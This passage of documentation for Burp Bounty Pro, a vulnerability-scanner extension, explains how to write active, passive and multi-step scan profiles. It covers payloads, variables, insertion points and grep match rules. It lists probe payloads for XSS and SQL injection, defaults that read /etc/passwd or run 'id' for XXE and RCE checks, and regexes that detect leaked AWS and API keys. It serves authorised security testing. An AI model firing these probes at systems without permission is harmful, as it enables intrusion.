| `IssueDetail`           | String | Detailed description (supports `<payload>` and `<grep>` placeholders) |
| `IssueBackground`       | String | Background information about the vulnerability                        |
| `RemediationDetail`     | String | How to fix the vulnerability                                          |
| `RemediationBackground` | String | General remediation guidance                                          |

### 🔗 Multi-Step

| Field   | Type    | Description                                     |
| ------- | ------- | ----------------------------------------------- |
| `steps` | Step\[] | Array of scanning steps for multi-step profiles |

### ⚙️ Other

| Field              | Type    | Description                          |
| ------------------ | ------- | ------------------------------------ |
| `sequence`         | Boolean | Sequence mode                        |
| `Scanas`           | Boolean | Scan-as mode                         |
| `Scantype`         | Integer | Scan type                            |
| `pathDiscovery`    | Boolean | Enable path discovery                |
| `showIssue`        | Boolean | Show issue dialog                    |
| `HttpResponseCode` | String  | Additional HTTP response code filter |

## 🛠️ Managing Profiles

### 📥 Import

1. Go to **Profiles** tab
2. Click **Import**
3. Select one or more `.bb` files
4. ✅ Profiles are loaded into the appropriate category (Active, Passive Request, Passive Response)

### 📤 Export

1. Select profiles in the table
2. Click **Export**
3. Choose a save location
4. ✅ Profiles are saved as `.bb` JSON files

### 📋 Duplicate

1. Select a profile
2. Click **Duplicate**
3. ✅ A copy is created with an auto-generated name suffix

### ✏️ Edit

🖱️ Double-click any profile to open the non-modal editor dialog.


# Creating Active Profiles

This guide walks you through creating an active scanning profile step by step.

## 📝 Step 1: Open the Profile Editor

1. Go to **Burp Bounty Pro** > **Profiles** > **Active Profiles** tab
2. Click **Add** to create a new profile
3. 🪟 The profile editor dialog opens (non-modal — you can interact with Burp while editing)

## 📋 Step 2: Basic Information

| Field               | Description                   | Example          |
| ------------------- | ----------------------------- | ---------------- |
| 📝 **Profile Name** | Unique identifier             | `My_XSS_Profile` |
| 👤 **Author**       | Your name or handle           | `@researcher`    |
| 🏷️ **Tags**        | Categories for organization   | `XSS`, `All`     |
| ✅ **Enabled**       | Whether the profile is active | `true`           |

## 💉 Step 3: Define Payloads

Add the payloads that will be injected into insertion points.

**Format:** Each payload entry has an enabled flag followed by the payload value:

```
true,<script>alert(1)</script>
true,"><img src=x onerror=alert(1)>
false,<svg onload=alert(1)>
```

* ✅ Prefix `true,` to enable a payload
* ❌ Prefix `false,` to disable (keep for later use)

**🔧 Using Variables:**

```
true,http://{REDIRECT_DOMAIN}
true,{CURRENT_INSERTION_POINT_VALUE}<script>alert(1)</script>
true,{BC}
```

See [Variables](/variables/global-variables) for the complete list.

**📁 Loading from File:** Set `payloadsFile` to the path of a text file containing one payload per line.

## 📍 Step 4: Configure Insertion Points

Select which parts of the HTTP request to inject payloads into.

🎯 Common selections for XSS testing:

* URL parameter value (0)
* Body parameter value (1)
* URL path folder (6)

🔒 Common selections for header injection:

* Specific HTTP headers (67-77)
* Custom header (78)

See [Insertion Points](/profiles/insertion-points) for the complete reference.

## 🔍 Step 5: Define Match Conditions (Grep)

Configure how to determine if the vulnerability was detected.

**Grep format:** `"enabled,operator,type,scope,pattern"`

| Component | Values                                                  |
| --------- | ------------------------------------------------------- |
| enabled   | `true` or `false`                                       |
| operator  | Empty (first condition), `AND`, `OR`                    |
| type      | `Simple String`, `Regex`                                |
| scope     | Empty (all response), `Only in Headers`, `Only in Body` |
| pattern   | The search pattern                                      |

**📝 Examples:**

Simple string match:

```
true,,Simple String,,<script>alert(1)</script>
```

Regex match with OR:

```
true,,Regex,,<script>alert\(1\)</script>
true,OR,Regex,,onerror=alert\(1\)
```

Header-only match:

```
true,,Simple String,Only in Headers,Access-Control-Allow-Origin: *
```

## ⚙️ Step 6: Set Match Type

| MatchType | Description                                                   |
| --------- | ------------------------------------------------------------- |
| 1         | ✅ **All conditions AND** — All grep patterns must match       |
| 2         | 🔀 **At least one OR** — At least one grep pattern must match |

## 🔄 Step 7: Configure Redirections

Choose how to handle HTTP redirects:

| RedirType | Behavior                  |
| --------- | ------------------------- |
| 0         | 🚫 Never follow redirects |
| 1         | 🏠 Follow on-site only    |
| 2         | 🎯 Follow in-scope only   |
| 3         | 🌐 Always follow          |
| 4         | 🔢 Follow with max limit  |

Set `MaxRedir` to limit the number of redirects (e.g., 5).

## 🐛 Step 8: Set Issue Properties

| Field                  | Description                   | Example                                |
| ---------------------- | ----------------------------- | -------------------------------------- |
| 📝 **IssueName**       | Vulnerability name            | `Reflected XSS`                        |
| ⚠️ **IssueSeverity**   | Severity level                | `High`, `Medium`, `Low`, `Information` |
| 🎯 **IssueConfidence** | Confidence level              | `Certain`, `Firm`, `Tentative`         |
| 📄 **IssueDetail**     | Description with placeholders | `Payload: <payload><br/>Match: <grep>` |

The `<payload>` and `<grep>` placeholders are replaced with the actual payload and matched pattern at runtime.

## 🔎 Step 9: Set Scan Scope

Choose how the profile is scoped per target:

| scanScope | Mode                  | Use Case                                                                    |
| --------- | --------------------- | --------------------------------------------------------------------------- |
| 0         | **Per-URL** (default) | Runs on every URL — for parameter injection profiles                        |
| 1         | **Per-Host**          | Runs once per host:port — for path discovery, fixed-path CVEs, raw requests |

> 💡 **Tip:** Use per-host scope for profiles that test fixed paths (like `/wp-admin/` or `/actuator/health`) to avoid re-testing the same path on every URL of the same host.

## ⚙️ Step 10: Optional Configuration

### 🔐 Payload Encoding

Add encoding transformations to payloads:

* 🔗 URL-encode key characters
* 🔗 URL-encode all characters
* 📝 HTML-encode key characters
* 🔒 Base64-encode
* 🌐 Unicode-encode

See [Payload Encoding](/profiles/payload-encoding) for details.

### 🔽 Response Filtering

Filter which responses to analyze:

* 📄 **Content-Type** — Only process specific content types
* 🔢 **Response Code** — Only process specific HTTP status codes
* 📁 **URL Extension** — Only process specific file extensions

### 🔄 Request Modification

Modify the HTTP method:

* POST → GET
* GET → POST
* Toggle between methods

### 🔀 Match and Replace

Apply find/replace rules to requests before sending. See [Match and Replace](/profiles/match-and-replace).

## 📚 Complete Example: CORS Misconfiguration

```json
[
  {
    "ProfileName": "CORS Misconfiguration",
    "Enabled": true,
    "Scanner": 1,
    "Author": "@bountysecurity",
    "Payloads": [
      "true,https://{REDIRECT_DOMAIN}"
    ],
    "Grep": [
      "true,,Simple String,Only in Headers,Access-Control-Allow-Credential: true",
      "true,OR,Simple String,Only in Headers,Access-Control-Allow-Origin: https://{REDIRECT_DOMAIN}",
      "true,OR,Simple String,Only in Headers,Access-Control-Allow-Origin: null"
    ],
    "Tags": ["All", "CORS"],
    "MatchType": 1,
    "InsertionPointType": [64, 78],
    "NewHeaders": ["Origin"],
    "isHeaderValue": true,
    "OnlyHTTP": true,
    "RedirType": 4,
    "MaxRedir": 3,
    "IssueName": "CORS Misconfiguration",
    "IssueSeverity": "Low",
    "IssueConfidence": "Tentative",
    "IssueDetail": "<br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>"
  }
]
```

This profile:

1. 💉 Injects `https://{REDIRECT_DOMAIN}` as the `Origin` header value
2. 🔍 Checks response headers for `Access-Control-Allow-Credential: true` AND either `Access-Control-Allow-Origin: https://{REDIRECT_DOMAIN}` or `Access-Control-Allow-Origin: null`
3. 🐛 Reports a Low severity CORS Misconfiguration issue


# Creating Passive Profiles

Passive profiles analyze HTTP traffic without sending additional requests. They are ideal for detecting sensitive information, security misconfigurations, and technology fingerprints.

## 📩 Passive Response Profile

### 🤔 When to Use

Use Passive Response profiles to analyze server responses for:

* 🛡️ Missing or misconfigured security headers
* 🔑 Sensitive data exposure (API keys, tokens, passwords)
* 🖥️ Technology indicators and version numbers
* ⚠️ Error messages and debug information
* 🌐 Domain takeover indicators

### 📝 Step-by-Step Creation

#### 1️⃣ Open the Profile Editor

1. Go to **Burp Bounty Pro** > **Profiles** > **Passive Response Profiles** tab
2. Click **Add**

#### 2️⃣ Basic Information

```json
{
  "ProfileName": "Missing_CSP_Header",
  "Scanner": 2,
  "Author": "@researcher",
  "Enabled": true,
  "Tags": ["All", "Security Headers"]
}
```

#### 3️⃣ Define Grep Patterns

For Passive Response profiles, grep patterns are matched against the HTTP response (headers and/or body).

**🛡️ Example: Detect missing Content-Security-Policy header**

```
true,,Simple String,Only in Headers,Content-Security-Policy
```

With `NotResponse: true`, this reports an issue when the header is **NOT** found.

**🔑 Example: Detect exposed API keys**

```
true,,Regex,,(?i)(api[_-]?key|apikey)\s*[:=]\s*['"][a-zA-Z0-9]{20,}['"]
```

**☁️ Example: Detect AWS credentials in responses**

```
true,,Regex,,AKIA[0-9A-Z]{16}
true,OR,Regex,,(?i)aws_secret_access_key\s*=\s*[a-zA-Z0-9/+=]{40}
```

#### 4️⃣ Configure Match Options

| Option             | Description                                                               |
| ------------------ | ------------------------------------------------------------------------- |
| 🔄 `NotResponse`   | Set to `true` to report when pattern is NOT found (e.g., missing headers) |
| 🔤 `CaseSensitive` | Set to `true` for case-sensitive matching                                 |
| 🚫 `ExcludeHTTP`   | Exclude HTTP headers from the match scope                                 |
| 📋 `OnlyHTTP`      | Only match in HTTP headers                                                |

#### 5️⃣ Set Issue Properties

```json
{
  "IssueName": "Missing Content-Security-Policy Header",
  "IssueSeverity": "Information",
  "IssueConfidence": "Certain",
  "IssueDetail": "The response does not include a Content-Security-Policy header."
}
```

### 📚 Complete Example: Server Banner Detection

```json
[
  {
    "ProfileName": "ServerBannerResponse",
    "Enabled": true,
    "Scanner": 2,
    "Author": "@bountysecurity",
    "Payloads": [],
    "Grep": [
      "true,,Regex,Only in Headers,Server:\\s.*"
    ],
    "Tags": ["All"],
    "MatchType": 1,
    "CaseSensitive": false,
    "IssueName": "ServerBannerResponse",
    "IssueSeverity": "Information",
    "IssueConfidence": "Certain",
    "IssueDetail": "<br/>- GREP: <br/><grep>"
  }
]
```

***

## 📨 Passive Request Profile

### 🤔 When to Use

Use Passive Request profiles to analyze outgoing requests for:

* 💉 Interesting parameter names (candidates for SQLi, XSS, SSRF, RCE)
* 🔗 API endpoint patterns
* 🖥️ Technology-specific URL patterns (Jira, WordPress, Spring Boot, etc.)
* 🔑 Authentication tokens and session IDs
* 📁 URLs containing file paths or redirect parameters

### 📝 Step-by-Step Creation

#### 1️⃣ Open the Profile Editor

1. Go to **Burp Bounty Pro** > **Profiles** > **Passive Request Profiles** tab
2. Click **Add**

#### 2️⃣ Basic Information

```json
{
  "ProfileName": "SSRF_Parameters",
  "Scanner": 3,
  "Author": "@researcher",
  "Enabled": true,
  "Tags": ["All", "SSRF"]
}
```

#### 3️⃣ Define Grep Patterns

For Passive Request profiles, grep patterns are matched against the HTTP request (URL, headers, and/or body).

**🌐 Example: Detect SSRF-prone parameters**

```
true,,Regex,,[?&](url|uri|path|dest|redirect|src|source|file|document|folder|root|pg|style|pdf|template|php_path|doc)=
```

**🖥️ Example: Detect WordPress requests**

```
true,,Regex,,/wp-(admin|content|includes|login|json)/
true,OR,Simple String,,/xmlrpc.php
true,OR,Simple String,,/wp-cron.php
```

**📋 Example: Detect Jira requests**

```
true,,Regex,,/jira/
true,OR,Regex,,/rest/api/
true,OR,Regex,,/plugins/servlet/
```

#### 4️⃣ Set Issue Properties

```json
{
  "IssueName": "SSRF-Prone Parameters Detected",
  "IssueSeverity": "Information",
  "IssueConfidence": "Firm",
  "IssueDetail": "Request contains parameters commonly associated with SSRF vulnerabilities.<br/><br/>- GREP: <br/><grep>"
}
```

### 📚 Complete Example: SQLi Parameter Detection

```json
[
  {
    "ProfileName": "SQLi_Parameters",
    "Enabled": true,
    "Scanner": 3,
    "Author": "@bountysecurity",
    "Payloads": [],
    "Grep": [
      "true,,Regex,,[?&](id|user_id|item|no|number|order)=",
      "true,OR,Regex,,[?&](select|report|role|update|query)=",
      "true,OR,Regex,,[?&](col|row|search|table|field)="
    ],
    "Tags": ["All"],
    "MatchType": 2,
    "CaseSensitive": false,
    "IssueName": "SQLi_Parameters",
    "IssueSeverity": "Information",
    "IssueConfidence": "Firm",
    "IssueDetail": "Interesting parameters found that could be vulnerable to SQL Injection.<br/>- GREP: <br/><grep>"
  }
]
```

***

## 📊 Key Differences: Response vs Request Profiles

| Aspect              | Passive Response (Scanner=2)          | Passive Request (Scanner=3)           |
| ------------------- | ------------------------------------- | ------------------------------------- |
| 🔍 Analyzes         | Server responses                      | Client requests                       |
| ⏱️ Timing           | After server responds                 | Before/when request is sent           |
| 🎯 Common use       | Data exposure, misconfigurations      | Parameter discovery, tech detection   |
| 💉 Payloads         | Not used                              | Not used                              |
| 📍 Insertion Points | Not used                              | Not used                              |
| 🧠 Smart Scan       | Can trigger active profiles via Rules | Can trigger active profiles via Rules |

## 💡 Tips

* 🔄 **Use `NotResponse` for missing headers** — Set `NotResponse: true` to detect when expected patterns are absent
* 🧠 **Combine with Rules** — Passive profiles are most powerful when combined with Smart Scan rules to trigger targeted active scans
* 🌐 **Keep patterns broad for discovery** — Passive profiles for parameter discovery should cast a wide net
* 🎯 **Keep patterns specific for detection** — Passive profiles for vulnerability/data detection should be precise to avoid noise
* 🏷️ **Use Tags** — Tag your profiles to make them easy to reference in Rules


# Multi-Step Profiles

Multi-step profiles allow you to chain multiple scanning steps together in a sequential flow. This is essential for testing vulnerabilities that require multiple requests, such as multi-stage attacks, authentication-dependent tests, and workflows that rely on state from previous requests.

## 💡 Concept

A multi-step profile executes a sequence of **steps**, where each step is a complete scan configuration (payloads, grep patterns, insertion points). Steps are executed sequentially, and cookies/state can be shared between them.

```
Step 1: Send initial payload → Match response
  │ 🍪 (cookies carried forward)
  ▼
Step 2: Send follow-up payload → Match response
  │ 🍪 (cookies carried forward)
  ▼
Step 3: Send verification payload → Final match → 🐛 Report issue
```

## 📊 Step Structure

Each step in the `steps[]` array contains the same fields as a regular profile, plus additional multi-step-specific fields:

| Field               | Type    | Description                                                                                              |
| ------------------- | ------- | -------------------------------------------------------------------------------------------------------- |
| 🍪 `reuseCookie`    | Boolean | Carry cookies from the previous step's response                                                          |
| 📍 `insertionPoint` | String  | `"same"` to reuse the matched insertion point from the previous step, or `null` for all insertion points |

All standard profile fields are available per step: `Payloads`, `Grep`, `MatchType`, `InsertionPointType`, `RedirType`, `MaxRedir`, `Header`, `NewHeaders`, etc.

## ⚙️ How Multi-Step Execution Works

1. 1️⃣ **Step 1 executes** with its payloads and insertion points
2. ✅ If Step 1 matches, the scanner records:
   * 📍 The matching insertion point
   * 🍪 Any cookies set in the response
3. 2️⃣ **Step 2 executes** using:
   * 🍪 Cookies from Step 1 (if `reuseCookie: true`)
   * 📍 The same insertion point as Step 1 (if `insertionPoint: "same"`)
   * 🌐 Or all insertion points (if `insertionPoint: null`)
4. 🔄 This continues for all steps in the sequence
5. 🎯 **Stop-on-match**: If any step fails to match, the entire sequence stops for that insertion point

## 🍪 Cookie Reuse

When `reuseCookie: true`:

1. The response from the previous step is analyzed for `Set-Cookie` headers
2. All cookies are collected and added to the next step's request
3. This enables testing scenarios like:
   * 🔓 Login → Access protected resource
   * 🛡️ CSRF token retrieval → Use token in attack
   * 🔑 Session setup → Exploit session-dependent vulnerability

## 📍 Insertion Point Reuse

When `insertionPoint: "same"`:

* The step tests only the same insertion point that matched in the previous step
* This ensures the attack chain targets a consistent parameter across all steps
* If not set (or `null`), all configured insertion points are tested

## 📚 Example: Multi-Step Authentication Test

```json
[
  {
    "ProfileName": "Auth_Bypass_MultiStep",
    "Enabled": true,
    "Scanner": 1,
    "Author": "@researcher",
    "steps": [
      {
        "Payloads": ["true,admin"],
        "Grep": ["true,,Simple String,,Set-Cookie: session="],
        "MatchType": 2,
        "InsertionPointType": [1],
        "reuseCookie": false,
        "insertionPoint": null,
        "RedirType": 4,
        "MaxRedir": 3
      },
      {
        "Payloads": ["true,/admin/dashboard"],
        "Grep": ["true,,Simple String,,Welcome, Admin"],
        "MatchType": 1,
        "InsertionPointType": [66],
        "reuseCookie": true,
        "insertionPoint": null,
        "RedirType": 4,
        "MaxRedir": 3
      }
    ],
    "Tags": ["All", "Auth"],
    "IssueName": "Authentication Bypass",
    "IssueSeverity": "High",
    "IssueConfidence": "Firm",
    "IssueDetail": "<br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>"
  }
]
```

**🔄 Flow:**

1. 1️⃣ Step 1 sends `admin` as a body parameter and checks for a session cookie
2. 2️⃣ Step 2 reuses the session cookie and requests `/admin/dashboard`, checking for admin access

## 📚 Example: CSRF Token Retrieval + Exploitation

```json
{
  "steps": [
    {
      "Payloads": ["true,GET /form"],
      "Grep": ["true,,Regex,,name=\"csrf_token\" value=\"([^\"]+)\""],
      "MatchType": 2,
      "reuseCookie": false,
      "insertionPoint": null
    },
    {
      "Payloads": ["true,<script>alert(1)</script>"],
      "Grep": ["true,,Simple String,,<script>alert(1)</script>"],
      "MatchType": 1,
      "reuseCookie": true,
      "insertionPoint": "same"
    }
  ]
}
```

## ⏱️ Time-Based Detection in Multi-Step

Multi-step profiles support time-based detection through the `checkTimeDelayGreps()` method. This enables timing attacks where:

1. 1️⃣ Step 1 sends a baseline request (no delay)
2. 2️⃣ Step 2 sends a time-delay payload
3. ⏱️ The time difference is analyzed to confirm the vulnerability

## 🎯 Stop-on-Match Behavior

Multi-step profiles have built-in stop-on-match logic per step:

* ✅ When a step matches, subsequent payloads for the same step are skipped
* ➡️ The sequence proceeds to the next step
* ❌ If a step fails to match, the entire sequence stops for that insertion point
* 🔀 This is separate from the single-step stop-on-first-match optimization

## 💡 Tips

* 📝 **Start simple** — Test each step independently as a regular profile before combining into a multi-step sequence
* 🍪 **Use cookie reuse** — Enable `reuseCookie: true` when the next step depends on session state from the previous step
* 📍 **Use insertion point reuse** — Set `insertionPoint: "same"` when the entire attack chain should target the same parameter
* 🔢 **Order matters** — Steps execute in array order; place prerequisite steps first
* 🔍 **Debug with Scanner tab** — Use the Scanner tab to see per-request details for each step


# Payloads

Payloads are the test strings injected into insertion points during active scanning. Each profile can define multiple payloads, and each payload is tested independently against every matching insertion point.

## 📝 Payload Format

Payloads are stored as an array of strings. Each entry has the format:

```
enabled,payload_value
```

* ✅ `true,` prefix — Payload is enabled and will be used during scanning
* ❌ `false,` prefix — Payload is disabled (preserved for later use, not sent during scans)

### 📚 Examples

```json
"Payloads": [
  "true,<script>alert(1)</script>",
  "true,\"><img src=x onerror=alert(1)>",
  "false,<svg onload=alert(1)>",
  "true,' OR '1'='1",
  "true,http://{REDIRECT_DOMAIN}"
]
```

## 🔧 Variables in Payloads

Payloads support dynamic variables that are replaced at runtime:

### 🌐 Global Variables (User-Configurable)

| Variable            | Default Value       | Description                                 |
| ------------------- | ------------------- | ------------------------------------------- |
| `{REDIRECT_DOMAIN}` | `bountysecurity.ai` | 🔄 Domain for redirect/SSRF testing         |
| `{ATTACKER_DOMAIN}` | `yourdomain.com`    | 🏴‍☠️ Attacker-controlled domain            |
| `{XXE_FILE}`        | `/etc/passwd`       | 📁 File path for XXE testing (Linux)        |
| `{XXE_GREP}`        | `root:x`            | 🔍 Expected content for XXE match (Linux)   |
| `{XXE_WIN_FILE}`    | `c:/boot.ini`       | 📁 File path for XXE testing (Windows)      |
| `{XXE_WIN_GREP}`    | `boot loader`       | 🔍 Expected content for XXE match (Windows) |
| `{RCE_FILE}`        | `/etc/passwd`       | 📁 File path for RCE testing                |
| `{RCE_COMMAND}`     | `id`                | ⚡ Command for RCE testing                   |

### 📡 Context Variables (Auto-Populated)

| Variable                          | Description                             |
| --------------------------------- | --------------------------------------- |
| `{CURRENT_HOST}`                  | 🖥️ Target hostname                     |
| `{CURRENT_PROTOCOL}`              | 🔒 `http` or `https`                    |
| `{CURRENT_PORT}`                  | 🔢 Target port number                   |
| `{CURRENT_URL}`                   | 🔗 Full request URL                     |
| `{CURRENT_PATH}`                  | 📂 URL path component                   |
| `{CURRENT_QUERY}`                 | ❓ Query string                          |
| `{CURRENT_FILE}`                  | 📄 File component of URL                |
| `{CURRENT_METHOD}`                | 📡 HTTP method (GET/POST)               |
| `{CURRENT_SUBDOMAIN}`             | 🌐 Extracted subdomain                  |
| `{CURRENT_INSERTION_POINT_VALUE}` | 📍 Current value of the insertion point |
| `{CURRENT_INSERTION_POINT_NAME}`  | 🏷️ Name of the insertion point         |
| `{CURRENT_USER_AGENT}`            | 🖥️ User-Agent header value             |
| `{CURRENT_COOKIES}`               | 🍪 Cookie header value                  |
| `{CURRENT_REFERER}`               | 🔗 Referer header value                 |
| `{CURRENT_ORIGIN}`                | 🌐 Origin header value                  |
| `{CURRENT_CONTENT_TYPE}`          | 📄 Content-Type header value            |
| `{CURRENT_ACCEPT}`                | ✅ Accept header value                   |
| `{CURRENT_ACCEPT_LANGUAGE}`       | 🌍 Accept-Language header value         |
| `{CURRENT_ACCEPT_ENCODING}`       | 📦 Accept-Encoding header value         |
| `{CURRENT_CONTENT_LENGTH}`        | 📏 Content-Length header value          |

### ⚡ Special Variables

| Variable               | Description                                                |
| ---------------------- | ---------------------------------------------------------- |
| `{BC}`                 | 🌐 Burp Collaborator domain (generates a unique subdomain) |
| `{RANDOM}`             | 🎲 Unique random identifier (ULID)                         |
| `{RANDOM_ALPHANUM_8}`  | 🔤 8-character random alphanumeric string                  |
| `{RANDOM_ALPHANUM_16}` | 🔤 16-character random alphanumeric string                 |

See [Global Variables](/variables/global-variables) for complete documentation.

## 📁 Loading Payloads from File

Instead of defining payloads inline, you can load them from an external text file:

1. Set the `payloadsFile` field to the file path
2. The file should contain one payload per line
3. ✅ File payloads are used **in addition to** any inline payloads

```json
{
  "payloadsFile": "/path/to/payloads.txt",
  "Payloads": []
}
```

## 📍 Payload Position

The `payloadPosition` field controls how the payload is placed relative to the original value:

| Value | Mode           | Behavior                                      |
| ----- | -------------- | --------------------------------------------- |
| 1     | 🔄 **Replace** | Replaces the original value entirely          |
| 2     | ➕ **Append**   | Appends the payload after the original value  |
| 3     | ⬅️ **Insert**  | Inserts the payload before the original value |

### 📝 Example

Original parameter: `name=John`

| Position   | Result               |
| ---------- | -------------------- |
| 🔄 Replace | `name=<payload>`     |
| ➕ Append   | `name=John<payload>` |
| ⬅️ Insert  | `name=<payload>John` |

## 🔐 Payload Encoding

Payloads can be transformed with encoding before injection. See [Payload Encoding](/profiles/payload-encoding).

## ⚙️ Payload Processing

The full payload processing pipeline:

1. 📥 **Load payloads** from inline list and/or file
2. ✅ **Filter** enabled payloads (prefix `true,`)
3. 🔐 **Apply encoders** (URL-encode, HTML-encode, Base64, Unicode)
4. 🔧 **Replace variables** ({REDIRECT\_DOMAIN}, {BC}, {CURRENT\_HOST}, etc.)
5. 💉 **Inject** into insertion point at configured position (replace/append/insert)

## 💡 Tips

* 🔧 **Use variables** instead of hardcoded values — this makes profiles reusable across different targets
* ❌ **Disable unused payloads** with `false,` prefix instead of deleting them
* 📂 **Group related payloads** — Create separate profiles for different payload categories (e.g., XSS reflected vs stored)
* 📍 **Use `{CURRENT_INSERTION_POINT_VALUE}`** to preserve the original value when appending test strings (e.g., parameter pollution)
* 🌐 **Use `{BC}`** for out-of-band detection when the vulnerability can't be confirmed from the HTTP response alone


# Insertion Points

Insertion points define **where** in the HTTP request payloads are injected. Each active profile specifies which insertion point types to test via the `InsertionPointType` array.

## 📊 Insertion Point Types

### 🔗 Standard Parameters

| ID | Type                     | Description                        | Example                   |
| -- | ------------------------ | ---------------------------------- | ------------------------- |
| 0  | **URL parameter value**  | The value of a URL query parameter | `?id=PAYLOAD`             |
| 1  | **Body parameter value** | The value of a POST body parameter | `username=PAYLOAD`        |
| 2  | **Cookie value**         | The value of a cookie              | `Cookie: session=PAYLOAD` |
| 3  | **URL parameter name**   | The name of a URL query parameter  | `?PAYLOAD=value`          |
| 4  | **Body parameter name**  | The name of a POST body parameter  | `PAYLOAD=value`           |
| 5  | **Entire body**          | The complete request body          | Body: `PAYLOAD`           |

### 🔗 URL Path

| ID | Type                        | Description                      | Example              |
| -- | --------------------------- | -------------------------------- | -------------------- |
| 6  | **URL path folder**         | A folder segment in the URL path | `/PAYLOAD/page.html` |
| 7  | **URL path filename**       | The filename in the URL path     | `/path/PAYLOAD`      |
| 65 | **Entire URL query string** | The complete query string        | `?PAYLOAD`           |
| 66 | **URL path**                | The full URL path                | `/PAYLOAD`           |

### 📦 Structured Data

| ID | Type                          | Description                                 | Example                     |
| -- | ----------------------------- | ------------------------------------------- | --------------------------- |
| 33 | **JSON value**                | A value in a JSON body                      | `{"key": "PAYLOAD"}`        |
| 34 | **JSON key**                  | A key name in a JSON body                   | `{"PAYLOAD": "value"}`      |
| 35 | **AMF value**                 | A value in AMF (Action Message Format) data | AMF parameter = `PAYLOAD`   |
| 36 | **XML value**                 | An element value in XML body                | `<tag>PAYLOAD</tag>`        |
| 37 | **XML attribute value**       | An attribute value in XML body              | `<tag attr="PAYLOAD">`      |
| 38 | **Multipart parameter value** | A value in multipart form data              | Multipart field = `PAYLOAD` |

### 📋 HTTP Headers

| ID | Type                          | Description                                                           |
| -- | ----------------------------- | --------------------------------------------------------------------- |
| 64 | **Header**                    | Generic header insertion (uses `NewHeaders` to specify which headers) |
| 67 | **User-Agent**                | The `User-Agent` header value                                         |
| 68 | **Referer**                   | The `Referer` header value                                            |
| 69 | **Host**                      | The `Host` header value                                               |
| 70 | **Content-Type**              | The `Content-Type` header value                                       |
| 71 | **Accept**                    | The `Accept` header value                                             |
| 72 | **Accept-Language**           | The `Accept-Language` header value                                    |
| 73 | **Accept-Encoding**           | The `Accept-Encoding` header value                                    |
| 74 | **Origin**                    | The `Origin` header value                                             |
| 75 | **X-Forwarded-For**           | The `X-Forwarded-For` header value                                    |
| 76 | **X-Forwarded-Host**          | The `X-Forwarded-Host` header value                                   |
| 77 | **X-Custom-IP-Authorization** | The `X-Custom-IP-Authorization` header value                          |
| 78 | **Custom header**             | A custom header defined in `NewHeaders`                               |

## 📋 Using Header Insertion Points

### 🔖 Predefined Headers (IDs 67-77)

To inject payloads into specific HTTP headers, add the corresponding ID to `InsertionPointType`:

```json
{
  "InsertionPointType": [67, 68, 74, 75]
}
```

This tests: User-Agent, Referer, Origin, and X-Forwarded-For headers.

### 🔧 Generic Header (ID 64)

Use ID `64` with the `NewHeaders` field to specify which headers to test:

```json
{
  "InsertionPointType": [64],
  "NewHeaders": ["Origin", "X-Forwarded-For"],
  "isHeaderValue": true
}
```

* `NewHeaders` lists the header names
* `isHeaderValue: true` indicates the payload replaces the header's **value**

### ✏️ Custom Header (ID 78)

Use ID `78` to define a completely custom header:

```json
{
  "InsertionPointType": [78],
  "NewHeaders": ["X-Custom-Header"]
}
```

The payload is set as the value of the custom header.

## 🎯 Insertion Point Selection Guide

### 💉 XSS Testing

```json
"InsertionPointType": [0, 1, 6, 33]
```

URL parameters, body parameters, path folders, JSON values.

### 🗄️ SQL Injection

```json
"InsertionPointType": [0, 1, 2, 33]
```

URL parameters, body parameters, cookies, JSON values.

### 🌐 SSRF / Open Redirect

```json
"InsertionPointType": [0, 1, 5, 65, 64]
```

URL parameters, body parameters, entire body, query string, headers.

### 📋 Header Injection / Host Header Attacks

```json
"InsertionPointType": [69, 74, 75, 76, 77]
```

Host, Origin, X-Forwarded-For, X-Forwarded-Host, X-Custom-IP-Authorization.

### ↩️ CRLF Injection

```json
"InsertionPointType": [0, 1, 6, 7, 65, 66]
```

URL parameters, body parameters, path components.

### 📂 Path Traversal

```json
"InsertionPointType": [0, 1, 6, 7, 66]
```

URL parameters, body parameters, path folders, filename, full path.

### 🌐 Broad Testing (All Common Points)

```json
"InsertionPointType": [0, 1, 2, 3, 4, 5, 6, 7, 33, 64, 65, 66]
```

## ⚡ Performance Considerations

The number of insertion points directly affects scan time:

```
Total requests = Profiles × Insertion Points × Payloads
```

* ⬇️ **Fewer insertion points** = faster scans, less noise
* ⬆️ **More insertion points** = broader coverage, more requests

> 💡 **Best practice:** Select only the insertion points relevant to the vulnerability you're testing. For example, XSS profiles don't need to test cookie values, and header injection profiles don't need to test URL parameters.

## 📝 JSON Format Example

```json
{
  "ProfileName": "Open Redirect",
  "InsertionPointType": [
    65,
    1,
    6,
    5,
    64,
    0,
    3,
    4
  ],
  "NewHeaders": [],
  "isHeaderValue": false
}
```

This profile tests: entire query string, body parameter value, URL path folder, entire body, headers, URL parameter value, URL parameter name, body parameter name.


# Match Types

Match types define **how** Burp Bounty Pro determines whether a vulnerability was found. The `MatchType` field controls the logic used to evaluate grep patterns and other detection conditions.

## 📝 Grep-Based Match Types

### ✅ MatchType 1: All Conditions (AND)

**All** grep patterns must match for the issue to be reported.

```json
{
  "MatchType": 1,
  "Grep": [
    "true,,Simple String,Only in Headers,Access-Control-Allow-Credentials: true",
    "true,OR,Simple String,Only in Headers,Access-Control-Allow-Origin: https://evil.com"
  ]
}
```

> 📝 **Note:** Even though individual patterns use `OR` operators between them, MatchType 1 requires the combined result to be true. The `OR` operators define groups that are evaluated, then all groups must pass.

### 🔀 MatchType 2: At Least One (OR)

**At least one** grep pattern must match for the issue to be reported.

```json
{
  "MatchType": 2,
  "Grep": [
    "true,,Regex,,Location:\\shttp://{REDIRECT_DOMAIN}",
    "true,OR,Regex,,location\\.replace\\(.http://{REDIRECT_DOMAIN}",
    "true,OR,Regex,,http-equiv=\"refresh\" content=\".*url=.http://{REDIRECT_DOMAIN}"
  ]
}
```

## 📋 Grep Pattern Types

### 📝 Simple String

Searches for an exact substring in the response.

```
true,,Simple String,,error_message
```

* 🔤 Case sensitivity controlled by `CaseSensitive` field
* ⚡ Fastest match type

### 🔣 Regex

Searches using a regular expression pattern.

```
true,,Regex,,(?i)password\s*[:=]\s*['"][^'"]+['"]
```

* 📚 Supports full Java regex syntax
* 🎯 More flexible but slower than Simple String
* 🔤 Use `(?i)` flag for case-insensitive regex, or set `CaseSensitive: false`

## 📊 Grep Pattern Format

Each grep entry follows this format:

```
enabled,operator,type,scope,pattern
```

| Component | Description                              | Values                                           |
| --------- | ---------------------------------------- | ------------------------------------------------ |
| enabled   | Whether this pattern is active           | `true`, `false`                                  |
